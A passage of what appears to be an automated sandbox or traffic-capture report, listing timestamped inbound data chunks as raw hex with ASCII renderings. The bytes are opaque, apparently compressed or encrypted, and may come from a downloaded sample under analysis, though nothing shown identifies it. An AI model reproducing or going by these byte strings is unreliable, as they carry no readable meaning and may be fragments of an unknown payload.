1d b2 36 db 28 85 a5 e7 f9 45 b4 c4 de 61 fe 1f 98 b9 a8 c9 59 ff cc a1 3c d2 77 82 62 3f c1 02 5a 74 0f 96 2c 51 c1 b0 18 2f 2e 34 fa 81 1e 61 67 35 5e 7a b9 d3 51 30 7b 9e 87 6b 67 cf 2a c3 f4 1a 5c 2b a1 9d 76 Data Ascii: LEq, T)k<y$b$eGs5!4U~v^pH~hu&v\c_/(i}j8)?4VzW!ER^`&[=xc6(EaY<wb?Zt,Q/.4ag5^zQ0{kg\+v
2021-10-28 20:43:28 UTC	1863	IN	Data Raw: c6 ba 58 dd bf 82 75 f0 c4 6b 8a 8b 93 75 b5 81 e5 33 4e 8e 1c 4a 0c bd e4 e2 eb 8e 5b 7b 88 e7 89 8d 6c 14 e2 e2 40 50 21 26 b4 d2 e8 9b 1c 39 37 77 a4 cb b1 ef 01 31 28 e8 af 56 97 e9 c6 cd 35 5f 14 f3 21 5c 43 68 91 89 26 65 a3 77 3e e4 7f 89 9a f0 b5 04 32 b8 69 b3 3f 19 ed 3e a5 4e e3 2b 27 cb 3d ff 03 14 d7 8c 3e 81 c6 77 f5 b0 4a e7 d4 d4 22 5e 1d 5a b0 b9 4e 92 44 c0 d3 c6 6b 9f c1 e7 6f 88 23 b0 1b 18 6d 1a 58 21 e8 62 0b f9 25 2e 1b b7 4d 49 cc f4 33 b9 a7 28 51 bb 77 12 d0 41 85 f4 2c d9 8b e2 c6 1e 60 04 7a c2 d1 18 ec fa f7 ed 30 0b a3 56 b7 2c 51 8e 26 fe 28 6f f7 32 23 29 a0 42 d6 e7 4a fd 2b 3b ff bc 5c be 1f 92 4a 87 74 e3 d1 95 2f 7f a2 37 83 a1 8c dc 8e 29 2b 7d 70 e4 a4 ca 01 eb 66 a5 c0 e0 94 af 8c c9 7c d6 18 bf c1 dc a7 ca b9 fd 71 Data Ascii: Xuku3NJ[{l@P!&97w1(V5_!\Ch&ew>2i?>N+'=>wJ"^ZNDko#mX!b%.MI3(QwA,`z0V,Q&(o2#)BJ+;\Jt/7)+}pf\|q
2021-10-28 20:43:28 UTC	1879	IN	Data Raw: 20 36 84 3b ce 59 82 fb e8 06 27 ec e4 18 3c c1 30 c7 70 26 20 52 2c 06 d9 f3 6f 29 5b 11 24 a8 c4 be f3 6d 17 b0 4c c5 87 db 7d cd 23 66 a0 ee 2c fe ac 4a 03 24 84 36 26 57 69 45 44 dc 28 9b 08 25 18 4e f7 c8 10 dc 27 07 24 68 58 ad 4c 23 3f cd 98 c1 07 98 42 15 b5 6c 13 f8 8c 90 b8 fe c8 c6 d4 d7 67 0b d4 43 6f 89 57 1f 97 5b 96 5d d9 ad 46 04 41 16 5b 10 6b ea 11 7f 7d e6 9d 4c be 8d 10 a6 e2 99 a4 b6 3c 17 37 cf 8b 96 55 ff 2c e4 51 ec bb 2d 92 1e 5c 58 49 0d 6a 5d 3c 86 5f 10 14 cc 4a 9a 09 30 8e 28 61 53 8f ca fc fa 55 4a fb 84 39 46 e1 76 9a 44 c8 18 a5 95 81 cf 81 71 5c 27 74 e6 24 a2 56 c4 2c 86 d7 94 3a 12 8b 69 e6 9d 77 97 c8 ff df ed ad d6 b5 b1 26 cc 41 ce 3d 10 1b 03 0c 1b 29 52 6d 05 ea 8b a6 8a 0d b8 70 c7 a6 e1 d6 ee f1 89 15 0f a0 c4 f3 Data Ascii: 6;Y'<0p& R,o)[$mL}#f,J$6&WiED(%N'$hXL#?BlgCoW[]FA[k}L<7U,Q-\XIj]<_J0(aSUJ9FvDq\'t$V,:iw&A=)Rmp
2021-10-28 20:43:28 UTC	1895	IN	Data Raw: d2 fd 75 51 dc 2a 84 d7 cc 63 f7 29 b5 e5 56 bd e0 ea 05 ec 50 be 91 f9 29 4c 50 59 28 dc 28 2d cc 8e c5 35 43 a3 7b 7b 4a 08 1f f6 f8 52 b0 27 ce 20 5d ac e4 b7 6f 02 8f 7b e8 17 14 2d 37 8d 67 34 cd a4 37 ed ea ed df 6f 99 37 7c 99 3c d3 9d 25 72 35 8f ce 72 24 d4 92 ea 7a b0 39 d3 e4 c9 17 a6 c3 2d 6c 13 c8 62 b9 de 1c bf 9e 0c f5 22 43 2f 84 bc ac 8b e9 b7 49 07 4a ae 67 51 b9 d3 60 ce 9a cc 2a 1d c7 3f 60 dd 03 95 aa 33 45 6c 1f d1 03 cb d4 1f 39 d2 e2 b6 f4 90 c0 bd 13 f4 51 d4 59 c4 60 62 f9 3b 7b d8 3a 08 02 46 92 34 bb 3e de 77 c7 3d a8 ad 64 72 67 d3 45 09 64 b2 d0 04 4f 18 ed 54 2a 84 14 27 b8 0c 76 4b 12 c2 d8 18 b1 21 e8 79 5a f1 96 d0 2e b7 d8 51 11 f1 4b a3 c7 31 79 4c 93 05 14 fe 83 d6 b4 03 e7 9f 8a 38 55 64 d2 e7 e6 e0 09 f0 35 60 32 cd Data Ascii: uQc)VP)LPY((-5C{{JR' ]o{-7g47o7\|<%r5r$z9-lb"C/IJgQ`?`3El9QY`b;{:F4>w=drgEdOT*'vK!yZ.QK1yL8Ud5`2
2021-10-28 20:43:28 UTC	1911	IN	Data Raw: 30 ba 81 2e 32 60 88 a9 cf e6 e4 ef 49 13 a2 ef bf dc dc b5 06 8f 4d f8 49 ee e8 4e a1 e1 30 5c 8c 9a 74 0f ab 3f 1c f4 1a 31 ff e3 3c cd 2b 11 de 6e 46 dd 8e 9f 6e 05 4c 11 42 81 ba 80 a6 f3 92 9e 70 a6 30 b6 4b ca d5 cc 70 15 d1 6a c9 24 87 d7 7d f3 34 68 8d 97 b8 a7 38 11 73 8e 1b 5e 9b aa 96 86 66 13 99 3b 71 19 4f 64 5d 96 3a c0 8e 6a a3 c6 47 36 ad 82 36 2f c6 a6 8c e9 70 61 54 d8 f0 64 7f 13 71 ef df 9d f7 c6 cb 98 ea 5b cb 52 b3 6b ed 8e b5 0d 74 c2 06 41 e5 8a 01 2a 5a 02 eb d6 ca 23 82 a4 36 4f 04 37 c3 76 f6 e9 46 88 6a 69 7c b6 c0 b3 01 aa 81 a4 1f 86 00 3d 7a fe b0 b7 ae 3f 63 fe bf 85 81 3c e4 1a 8c 36 3f ed 6a a4 a4 ed e5 d6 ea 2c f4 ca dc d2 90 70 36 33 30 e4 75 85 57 c9 73 02 d3 b1 fa 8f 4b f3 8c 44 97 14 78 11 4e eb 68 e0 04 63 6f ca ae Data Ascii: 0.2`IMIN0\t?1<+nFnLBp0Kpj$}4h8s^f;qOd]:jG66/paTdq[RktA*Z#6O7vFji\|=z?c<6?j,p630uWsKDxNhco
2021-10-28 20:43:28 UTC	1923	IN	Data Raw: 94 46 ff 23 1e 5d be 5f 81 6e ad e0 26 79 e5 30 9f df 7a 14 8b 6b 62 f6 8c d1 9b 17 f0 96 1c 17 53 c4 2e cc bd 6c 7b 1f 65 36 a6 6b ba ce 8a c2 d2 54 71 02 18 82 35 c8 92 8c 1a 17 bc 09 fd 85 9a 41 48 f7 52 47 e4 00 c9 96 6b 98 43 51 34 c4 99 fb 1c ac 14 20 70 15 d7 c1 e1 9e c0 76 fc 4e e2 31 cc bb ca dc 98 57 86 38 9a 10 0e c7 2f c4 26 82 c0 a4 a8 c4 37 50 e3 d1 48 d2 ed c5 70 d5 3d 55 51 01 7b c0 91 70 76 86 5b 2d 4c c2 e3 dd c8 d4 d6 c7 3c 38 f9 d1 5b c1 f2 4d 42 9b 4e ec cc 3b d2 fa de cf d3 42 ef 1f 2c 93 44 56 f2 97 51 c4 b2 2d 5c ee be cc 6a 9f 5f d5 83 56 a0 fe d6 d7 41 ff 57 47 ba 97 41 bb bf 18 c0 5f e6 3e 1e 1c 2e b2 32 71 2f 28 be 29 17 d8 10 87 26 c2 cb 3a 5a 2d 62 f4 c9 31 2a 5b 65 a8 1b fe 9c 91 8d 8b ed f1 7c c5 e9 1d 39 be 61 a0 4c d3 e3 Data Ascii: F#]_n&y0zkbS.l{e6kTq5AHRGkCQ4 pvN1W8/&7PHp=UQ{pv[-L<8[MBN;B,DVQ-\j_VAWGA_>.2q/()&:Z-b1*[e\|9aL
2021-10-28 20:43:28 UTC	1939	IN	Data Raw: e4 ab 51 2e cd 82 11 9c 51 97 05 9a 4e 18 eb dc 68 74 d1 0e 95 65 50 dc 43 72 64 30 2c 97 02 ca 34 ac ac 07 7c 62 33 c2 e7 54 37 5a e0 b5 71 af 88 5c 51 32 8c 41 83 f8 9f a4 77 26 ab 62 1e 17 10 42 51 02 45 f8 93 f0 75 7e 92 b5 30 76 2d 2f e6 cc 0c ba 6d 7f a5 d4 2e d8 05 dd 54 ae 30 05 7e c1 52 21 c4 5c 79 bb 89 ac 93 c3 71 77 34 40 e3 6d 63 d8 1a 66 0c c2 e1 93 1a c9 8d 73 29 fe 66 33 51 4e 69 a0 6b e0 14 61 6f 60 8c e9 f2 c8 c5 e5 73 55 d7 f1 fa b9 c2 8e f0 4a b8 cf 04 8a 3a 02 ad 1b 73 5a ec cf 5b 82 46 b3 35 73 a6 8f 35 5c 3c d5 0c 59 cd d3 b1 dc 09 96 75 37 29 30 90 04 cd 25 1f c6 74 71 5a e6 37 84 25 0a 0d 84 a1 95 f0 fc 77 6a 4b e7 16 53 8a ca 1a 9d c7 e6 6f 40 ca 08 72 48 8c 69 56 f2 70 60 64 46 76 16 41 56 4a 02 b2 30 13 9a 32 be e3 7f cf 8f 4e Data Ascii: Q.QNhtePCrd0,4\|b3T7Zq\Q2Aw&bBQEu~0v-/m.T0~R!\yqw4@mcfs)f3QNikao`sUJ:sZ[F5s5\<Yu7)0%tqZ7%wjKSo@rHiVp`dFvAVJ02N
2021-10-28 20:43:28 UTC	1955	IN	Data Raw: 8f 88 0b eb ef 76 a1 d7 ce ac 02 f2 ee 92 53 47 ee 10 4b ed f4 f5 05 a1 20 68 3f e6 9a b4 70 78 19 c9 7b 26 58 b2 d3 be f0 41 16 60 a3 c8 b5 bb 25 85 be 1b 8b ef 38 3c a0 29 4b 39 d2 48 f1 11 9f a4 64 6f c6 68 b5 19 22 2a 7f de 80 3f 5a 72 5c a8 1d a7 87 b9 f2 05 16 5e a8 45 b7 14 88 e5 f6 7a 70 ca ea 54 60 28 26 85 b0 49 37 d7 cb 92 cc 02 97 08 4a 2e a8 c3 36 d8 e1 c0 88 60 7e 00 66 fe c9 f1 a2 5a a0 88 0d 21 e8 49 ae ba 39 9f 99 81 04 67 2b b3 39 94 34 ba 93 d7 14 3d 67 23 0f 48 d3 0c 86 19 58 3d ea de 08 cd 2b 87 c5 e7 c3 bd 68 9d f9 e1 c8 3a ff 20 eb 6f 08 9e 24 eb 93 5c 4f ef 20 0c 11 97 0b 76 34 51 73 bd 75 75 5b fc b7 09 23 66 d5 68 68 17 00 be 67 3b c5 d8 21 52 e4 9d 01 ae bb 24 2f 93 55 62 94 b3 77 57 42 02 01 5a c5 c4 4e 5d 28 81 e0 dc 7d fa fe Data Ascii: vSGK h?px{&XA`%8<)K9Hdoh"*?Zr\^EzpT`(&I7J.6`~fZ!I9g+94=g#HX=+h: o$\O v4Qsuu[#fhhg;!R$/UbwWBZN](}
2021-10-28 20:43:28 UTC	1971	IN	Data Raw: a5 9e 36 dc a7 b5 fc ea f2 d5 c6 c8 cd 0d 44 71 48 e4 dd 72 df 69 e6 b3 46 41 c4 89 2e c0 7c 17 2c e0 a9 3c c3 0a 23 f4 48 e8 60 38 80 10 2a 5b e9 c5 ea 0a 02 a8 bd ef f4 7d fb 73 65 10 bb 2d a2 10 1e 7f a2 e9 d6 39 08 6d 96 1a f4 9e 8b 98 5d ca c6 e5 c3 19 64 9b 55 54 51 ef 29 37 8f 76 39 cd 01 8f 8d c0 4d 63 3b 73 10 74 eb 00 9d bf 38 a4 33 94 a7 dc d1 d1 9a 77 24 77 0f 78 63 56 25 72 6b 72 72 08 bd cf 75 84 0e bf 66 35 fc 60 67 ec 00 78 e4 f5 b6 f1 c7 b5 f8 23 ae 1d a0 aa d1 25 ab 65 ab ae 6e 19 2d 03 bd 00 8f fa 28 0f 9e ea 06 55 02 5d da a1 64 d6 13 82 75 fe fa 69 f6 aa d6 21 02 e8 8e b5 4a 16 18 ea c4 81 f8 d1 1b ef b1 bc 54 0a 7b e1 7b 67 b6 5a 0e 0e 1e 0e b4 39 cf 88 a3 f3 56 fe 85 fb 70 04 20 bf 60 6d 82 45 3c ca 57 cd 0f da a2 b1 f4 66 c1 db a2 Data Ascii: 6DqHriFA.\|,<#H`8*[}se-9m]dUTQ)7v9Mc;st83w$wxcV%rkrruf5`gx#%en-(U]dui!JT{{gZ9Vp `mE<Wf
2021-10-28 20:43:28 UTC	1987	IN	Data Raw: 7b 17 e0 d6 4e 64 9d 0e fb 20 5f 38 ab 15 25 b1 6d 75 e4 c2 28 c9 96 6d a9 28 87 a9 6c d3 45 73 01 1f 7d 27 27 87 e9 35 e8 98 44 41 79 92 5e 1e bd 06 14 a0 90 f5 b8 36 f8 a4 17 5a f4 60 80 27 c1 89 7a e6 20 6e 4b 9e 97 f9 1e 94 f0 88 66 ce e6 71 56 45 af be 74 4a 34 77 e0 dc 71 c2 47 0c b5 cd 78 14 1d ac a6 fa 39 f7 a7 40 eb 25 ee c4 d6 3e cb c1 d9 c2 26 62 ce a4 4d 60 a5 c0 93 ba a5 ed 93 ac 68 a7 e5 2f f0 ae 43 2e be 95 ea c2 f1 8f 3d 49 b1 01 69 15 fe 74 39 36 36 3d 60 31 f3 d2 ff 64 a3 6d 7d d3 a7 c8 4c f8 48 c1 00 ba f9 e9 82 a6 e0 60 2f 06 ef b7 c1 18 76 85 1a e0 f6 51 cc b8 46 82 82 fa 98 91 16 b3 0e 9d 10 15 9f d5 0b a3 93 4c 5c c0 ae 17 e6 0f 25 20 26 aa 37 84 85 23 77 48 23 45 e5 ab 5c 76 88 12 e8 31 01 8b 2c 90 eb b5 84 6c 8e f6 d9 d6 20 04 aa Data Ascii: {Nd _8%mu(m(lEs}''5DAy^6Z`'z nKfqVEtJ4wqGx9@%>&bM`h/C.=Iit966=`1dm}LH`/vQFL\% &7#wH#E\v1,l
2021-10-28 20:43:28 UTC	2003	IN	Data Raw: 41 df 41 14 74 a4 67 ba fd 4e 1f f0 15 49 f1 84 59 18 94 f1 1a 12 22 c2 02 35 64 89 db bc e8 0f bc 3a e8 54 97 b2 cb f0 ca de 02 68 f8 02 38 42 bf 34 72 aa 8f 36 53 47 41 4c c5 e3 32 3d 54 c2 82 c6 02 03 e0 8c ce e8 f7 d3 f8 49 0c 6f 98 74 35 4f 67 31 2d b6 a8 e4 33 88 a5 e0 f8 6b be 7e 98 7f 20 ad cb 39 5e 58 2c 99 29 fc c0 ac 99 ef db 8d 39 37 a7 96 f8 e8 65 01 13 2e 51 5a 17 4a fc 88 84 93 18 fa 0d 88 09 1e 9a f4 c5 e6 7b a6 ca dd 94 42 ef 95 91 c3 ef 26 fd f1 90 ec 19 71 94 e6 f8 06 4d 2f 16 1f 42 3a a4 5b 0a a7 c6 3d 1a 21 c4 a2 48 35 07 30 04 b3 33 6f 13 ef f9 bf 97 22 25 8c 64 91 69 0a 54 33 86 81 82 66 82 49 fe ca 08 08 34 aa c5 6a 42 7e 73 2e ef db ac 09 47 89 d7 45 ff e9 09 31 57 03 48 33 cb 58 62 88 4c f7 32 b3 b2 25 f4 40 76 67 e9 dc d8 50 7b Data Ascii: AAtgNIY"5d:Th8B4r6SGAL2=TIot5Og1-3k~ 9^X,)97e.QZJ{B&qM/B:[=!H503o"%diT3fI4jB~s.GE1WH3XbL2%@vgP{
2021-10-28 20:43:28 UTC	2019	IN	Data Raw: 80 af 58 33 42 7c 19 e3 16 23 57 c7 70 a0 7d 48 2b 83 e8 59 9e 12 ea 0e f3 f2 bf 64 09 0b 19 b9 a2 6b 77 9a cd 3f 16 46 63 ac 8c 28 e0 aa 64 e4 c5 d3 cf 94 54 02 b0 fd 5a ff f0 0f af 3f 79 30 87 ee f2 0c 57 85 08 49 29 bd 2c e7 e3 4f cc 2d 81 9e f7 dd 31 5b b3 6b a4 47 96 81 79 00 d4 7f 6c e0 2d b6 ee 56 1a f4 f9 58 f2 07 17 c4 4e 84 a0 a4 0c 2d bd ee bd 2f 10 97 ee d9 8b 3a 13 a8 9f fe 1b 70 e7 71 1c 33 1c 62 ae e1 ce e5 e5 81 59 8b 89 d5 d7 43 34 15 72 aa ed a3 29 e1 97 cf c3 ea 50 0f 13 c5 e4 1e 0f f1 d4 57 65 96 17 ba 60 ac 67 d2 6e 18 9f d6 0c 4a 4a 5e 67 3d 13 55 bb b6 84 a3 6a 54 30 c9 ec 34 c8 d4 8c 03 cb 67 2a 41 27 c3 c7 24 2a d5 2d a0 3c cb f2 56 df ca b9 4a cc 5a fc 8f 33 a1 88 23 aa f6 37 af 37 fa 61 91 70 37 ec 0b f2 bd bc 49 f4 82 1d 8e 98 Data Ascii: X3B\|#Wp}H+Ydkw?Fc(dTZ?y0WI),O-1[kGyl-VXN-/:pq3bYC4r)PWe`gnJJ^g=UjT04gA'$-<VJZ3#77ap7I
2021-10-28 20:43:28 UTC	2035	IN	Data Raw: aa 6b 35 73 e8 a1 e4 89 8a 17 20 e9 47 4c 7c 14 2f b5 26 a8 41 e5 f7 6b 1e 5d fc 04 41 a7 22 a1 21 73 f4 d1 f8 32 6f 57 be 04 5f 80 5a bd 6d 5f a4 6b a3 b9 17 07 d1 73 59 7c 4f 3c 98 5c a0 f1 42 5b 31 52 fb 6e be 76 db 03 c6 61 85 eb 42 d5 b7 79 2f e9 58 4c ce c5 c9 3e 99 9e 8f df 69 fc 70 0e 80 b5 56 c2 d9 75 72 cf ce 57 88 76 23 0b af bc 9a f8 f3 d9 23 86 96 c1 13 03 9e 9f f0 4e be 34 5e cd 33 ee b9 58 30 07 e7 4b bb 40 8a b8 63 0c 4a 03 48 88 c8 87 64 4b 24 66 89 f1 27 36 20 7f 53 e9 16 cd 4c 8c 1e 05 bc b4 3f df dc dd f5 68 e7 4b 1e a5 58 20 ba b2 26 b7 1f 8d f5 e9 17 30 98 25 1b 37 a7 9c 09 09 0d 93 f2 b8 d8 e2 fd 27 b0 2b 08 fe 68 49 87 8f 47 dc 8c df 6c 7f 82 a3 87 8f 8f 5d d4 c0 73 3c 48 f2 6d f4 d1 45 bb bb d8 27 da a8 6d 32 cf 2a 79 99 00 dc 03 Data Ascii: k5s GL\|/&Ak]A"!s2oW_Zm_ksY\|O<\B[1RnvaBy/XL>ipVurWv##N4^3X0K@cJHdK$f'6 SL?hKX &0%7'+hIGl]s<HmE'm2*y
2021-10-28 20:43:28 UTC	2051	IN	Data Raw: 3c 31 6f 1f e5 bc 24 99 97 35 4f 0a 44 9f 24 26 3a 28 e5 3d ee f4 11 56 46 ba b4 e3 14 d4 62 1b 92 aa f7 50 dd 22 e8 59 53 94 a5 c8 92 63 d3 24 68 72 ba 98 20 3c 8d 9f a8 53 21 11 ef 51 a7 05 e1 59 2e 91 b6 f8 be 6b 02 bb a5 cf 60 cb 86 b7 ef 25 bf 58 80 c6 55 ef 6c 19 85 f1 12 c9 4a 34 dc 9a 1d b3 c1 35 8a ca d0 1c b5 0a 81 e6 50 23 aa 3a c0 89 17 d9 42 64 53 ce 80 5f eb 60 f5 e4 cb cb f4 b1 c4 9e 5a 15 c9 79 be b8 26 c7 e1 30 12 aa a6 28 c8 65 0a e8 d6 23 70 c1 ec 83 40 fb 57 80 d9 db 07 4e 57 f1 c4 ff eb 94 bb ba ab d5 93 1d d1 4c b3 bb 2c 19 12 18 53 73 eb c3 61 04 40 87 ce 52 d8 a6 35 c3 59 98 2e 33 fd 60 fc ac bd de f3 18 59 95 27 b2 e8 b1 aa 18 fb 2a 7d 99 48 de 4a f1 ec 0a b1 8e fa 65 34 9a 93 a4 3c 5d 9f 75 82 f5 42 c1 20 58 d5 a2 cb 8b f0 b9 a8 Data Ascii: <1o$5OD$&:(=VFbP"YSc$hr <S!QY.k`%XUlJ45P#:BdS_`Zy&0(e#p@WNWL,Ssa@R5Y.3`Y'*}HJe4<]uB X
2021-10-28 20:43:28 UTC	2067	IN	Data Raw: a0 ed e4 9d bd c0 53 b9 dd fb 33 e6 a0 d5 7d a9 ec 94 0c c5 fd bf f3 da 07 e6 fe d9 3c bb 50 49 18 0f 73 49 ce f3 94 83 e0 ee 7f 0c c7 4b 46 e1 67 4f 96 d9 58 96 40 8f d5 72 3f 47 5f 2d ea 7f f2 92 01 6b b1 82 9f 7b 4a 48 0b 0b a7 bc 83 aa 5f b9 50 e6 a1 e1 41 b9 da 39 f8 50 be 9f 85 93 f7 99 ba 89 61 47 c7 30 96 e1 cb 3f 03 6f 15 83 18 bc 4f 85 f1 33 1d 19 b5 ff 9b a5 c9 3a 62 d4 ef 34 4b 1a b5 d5 cd 45 3f 38 47 c5 8e d2 3f 60 89 82 67 a2 7a 49 05 a7 64 fe 7f b1 3b be 1d 84 ed 73 af c9 9c 66 59 99 67 d3 0d a0 89 49 c5 d7 b9 9c 69 4c f9 83 58 c7 16 94 99 ff a1 91 1e 01 63 50 d3 41 1f 43 61 9a ca 8f 68 dc 19 8a 5f 3d f2 e7 43 f9 86 6b e3 0d 04 8b 17 41 13 57 2b 25 b8 21 1c c5 b5 d9 cf 07 f7 92 0a e7 0b 19 72 f4 e0 4d f8 5d f0 dd 3e af 54 84 8b da 2a 1b 40 Data Ascii: S3}<PIsIKFgOX@r?G_-k{JH_PA9PaG0?oO3:b4KE?8G?`gzId;sfYgIiLXcPACah_=CkAW+%!rM]>T*@
2021-10-28 20:43:28 UTC	2083	IN	Data Raw: 19 be 1f 77 28 bd 91 7b 71 d1 72 ce 06 f9 21 1d 63 79 86 09 58 e1 f8 dc c8 17 4b a0 40 d7 13 1c b0 05 ef dd d3 4f 28 ea 5d 4a 0f 83 6e b9 4e c0 c1 a1 5e f5 eb dc 2a 47 0f 3a 74 3d 0c d7 e4 37 12 5c 30 46 2f 3f cd 39 5b 81 bb a7 68 af ec c7 eb e9 eb df cb cb 9b a6 65 d5 87 ba 16 5d 79 42 e4 a6 36 b2 3f 3a d9 73 01 f3 14 3f 51 89 2d 1c e8 a1 2a 0b 51 55 71 e5 00 dd fc 16 c3 a8 43 82 de ad bb 4c 6f 2c d4 f3 67 e9 70 c5 b9 52 87 63 38 f3 e3 85 5c 25 bd a6 b4 9e 30 86 63 92 5a f7 76 f8 38 9a 58 27 f7 48 f5 be f7 02 3b ec d3 77 75 3e 39 94 15 89 d1 fd ab 86 e8 f0 56 de 1c 7f c8 5a d4 2c 39 bf 65 f5 be 51 e9 29 71 38 01 1e 4d 4d 35 3a 2e f6 25 f0 fd 9a 09 b5 80 95 b3 00 cd e5 21 19 94 2f 74 c6 85 03 04 1c f0 b6 9f 32 46 5a a5 b3 54 4f 58 7e 95 fa e2 a0 b6 f4 e5 Data Ascii: w({qr!cyXK@O(]JnN^G:t=7\0F/?9[he]yB6?:s?Q-QUqCLo,gpRc8\%0cZv8X'H;wu>9VZ,9eQ)q8MM5:.%!/t2FZTOX~
2021-10-28 20:43:28 UTC	2099	IN	Data Raw: f5 a4 06 c4 2b e5 2f 81 8b cf a6 3b be d7 39 fe e6 81 a4 77 d3 ea 3a db c8 0a 18 65 e6 6b da 47 37 1d 92 80 a4 01 8b 78 b0 43 84 e5 04 27 03 08 53 3d 6e 68 b3 9e 4c 86 3d d8 4a 29 30 dd 56 33 fa 11 8b fa 49 b4 9a 9f 08 7d 9d 5a 3b bf 08 bf 09 dd ca 5c 18 f5 76 a4 9f 47 e9 a3 ca 68 d1 7a 58 a8 d4 11 b7 57 ed df 25 11 36 3d f9 48 93 54 19 30 cb 45 aa 5a b5 89 2c 69 1b fc 0b 03 60 2a 11 0d 3e 91 0e c9 a5 03 4f 40 3b ed 89 d8 86 ab 09 d0 4a 10 f3 33 43 31 d1 51 f4 93 53 6a 3d 42 ab f8 ac 9b 7d 05 69 e7 f0 9c 0e c0 98 0d fe dc a8 8c 5f 19 25 95 f8 1e 65 ac 66 8b 84 39 5e 3e 50 20 10 68 dc 29 8f 78 e0 fa 95 e7 27 7e f7 5f 3f fc 27 58 35 f5 a9 3e c6 5e d2 73 ac 25 df 52 74 42 c7 14 f6 9a a8 1c d2 a8 4f f5 27 58 f1 6f bc 28 ca 44 62 eb 5a fa 5e 52 25 85 43 4b 26 Data Ascii: +/;9w:ekG7xC'S=nhL=J)0V3I}Z;\vGhzXW%6=HT0EZ,i`*>O@;J3C1QSj=B}i_%ef9^>P h)x'~_?'X5>^s%RtBO'Xo(DbZ^R%CK&
2021-10-28 20:43:28 UTC	2115	IN	Data Raw: 61 77 41 6b e0 b3 0b 44 79 ec 1a 22 9d 18 fa a5 aa 98 a8 c7 e0 66 ca ae ea a0 09 8c 74 29 3a 00 d1 50 a3 c2 65 a5 7f 4c 5e 05 29 6d 7f e5 77 70 59 02 ac 0f 0e 05 40 f5 30 12 56 fa e8 6e 30 c5 c1 f7 85 81 61 99 53 81 6e 25 6f e0 c8 64 4e 82 f4 d9 79 be f7 80 ca 00 f0 35 8a e2 ad 63 3e da ba ad cd 2d d3 9b ec 38 6b d5 46 11 02 dd 36 3a d7 9d da 2c 6b 02 34 f0 63 b1 d5 70 56 46 38 a4 9c 34 d8 83 37 a5 d9 db 69 68 00 db 56 19 a7 11 d5 ee 86 77 c1 4c 4d 44 5c f1 a4 e3 ae 32 a5 15 5f 81 fd a6 02 6e a3 61 96 b2 8f cb 36 21 6b 11 27 4a a5 11 f2 a1 c9 43 4d b5 37 41 a4 57 5b 2e c2 21 ee ce 4d ef 5d 9c 68 c5 67 37 d0 45 81 b0 ff ac 4d 8b a0 14 68 af cb 46 cd 62 4e 9a 8f a7 37 6c bb 7f 53 21 3f ae a8 44 c2 d8 9c 97 de 52 ce 2d 01 83 cf 04 47 e6 ed c5 61 45 f3 b2 7e Data Ascii: awAkDy"ft):PeL^)mwpY@0Vn0aSn%odNy5c>-8kF6:,k4cpVF847ihVwLMD\2_na6!k'JCM7AW[.!M]hg7EMhFbN7lS!?DR-GaE~
2021-10-28 20:43:28 UTC	2131	IN	Data Raw: 2a 75 35 2d ed d0 a1 1e d0 b0 bb b0 bc 58 bb 0b 18 b7 4d 96 c9 97 14 70 e9 e6 2f f2 b8 70 9c 3f 3b dd c1 51 96 44 a1 c3 60 89 9b 01 61 e6 85 b5 99 20 8a f5 38 8c c0 d9 31 16 da 26 b1 62 58 fa 4d 57 92 7f 00 ac d6 ca 2d 78 a3 20 5c 16 21 27 1c 92 e1 bc aa 40 b6 67 48 96 49 6d 60 2f 82 3e 7a 77 bf 68 b1 06 90 d2 89 a5 a9 26 b0 68 ed fd e2 22 f7 ae 4b 5f f7 17 76 ab 8e a9 3a 33 e9 a7 43 15 59 f5 13 44 fe 29 b3 f8 a2 79 36 16 93 a7 91 88 54 c1 64 a4 a7 dc bd 0d 76 c1 0d b0 bf a8 a9 15 37 d1 f9 2a 09 d3 a9 2c eb 43 9c bc 48 94 ff 44 a3 49 87 f5 ca 44 77 34 87 a7 53 51 df 6e 80 75 32 0f b9 61 88 20 20 ca b0 30 95 14 ae 2c 96 1c f9 6d 6b 5e 2e c7 7d e2 8d 41 f5 7c e6 a6 8a 38 c9 6a bf 61 a9 ee da 97 49 6c b7 3d 84 c2 51 ea a5 69 db 91 a6 d3 f4 4c a5 02 a9 ed 85 Data Ascii: u5-XMp/p?;QD`a 81&bXMW-x \!'@gHIm`/>zwh&h"K_v:3CYD)y6Tdv7,CHDIDw4SQnu2a 0,mk^.}A\|8jaIl=QiL
2021-10-28 20:43:28 UTC	2147	IN	Data Raw: 11 a4 e4 c9 db ca c8 9e 1c 9d e6 99 6e f3 f1 9d 42 92 d4 69 59 04 d0 12 6e ec 46 0d 56 c8 e9 cc 3c 88 a6 73 c9 5f 94 dc 2d f3 59 17 94 1c 7d 28 52 6c 3c 52 d0 6b 5c 09 53 02 76 5d 1f b4 d1 27 ed 6d 26 a3 88 f0 67 7f ef 53 f7 f1 76 7a 8d bb 5c 2a 4b 8a 2e e6 f1 87 d5 6f 93 51 ef 52 78 52 03 fd d0 b6 3b e6 2b 9b b7 59 97 cd 53 7e a5 3a ff e5 c7 d5 4f 4c 7b ec 52 e3 cf 3b 2c 23 b7 2a 6e cd 88 d5 84 49 72 97 89 8d cb b6 9d 3d 3c 83 86 31 8d e2 19 72 17 24 3b 0f eb 05 69 56 fb 79 2c 4f 49 45 de fc 2a e4 85 f4 eb 33 6b 8d 27 ad cd 25 91 3d 35 66 9c 91 32 bd d4 e6 3d bf 64 98 d2 e8 a6 cc 76 89 1c 1c 8d 38 b9 8b 24 1a 9d b2 72 20 58 9b ae e7 42 bf 36 cf ab 2a 3a 5a f2 6c 5a 55 1b 3f 7e 86 af f8 b6 98 f5 93 ba 92 10 6a 43 6c ed 7a fd ed fc 25 52 03 23 9c 52 95 ef Data Ascii: nBiYnFV<s_-Y}(Rl<Rk\Sv]'m&gSvz\K.oQRxR;+YS~:OL{R;,#nIr=<1r$;iVy,OIE3k'%=5f2=dv8$r XB6:ZlZU?~jClz%R#R
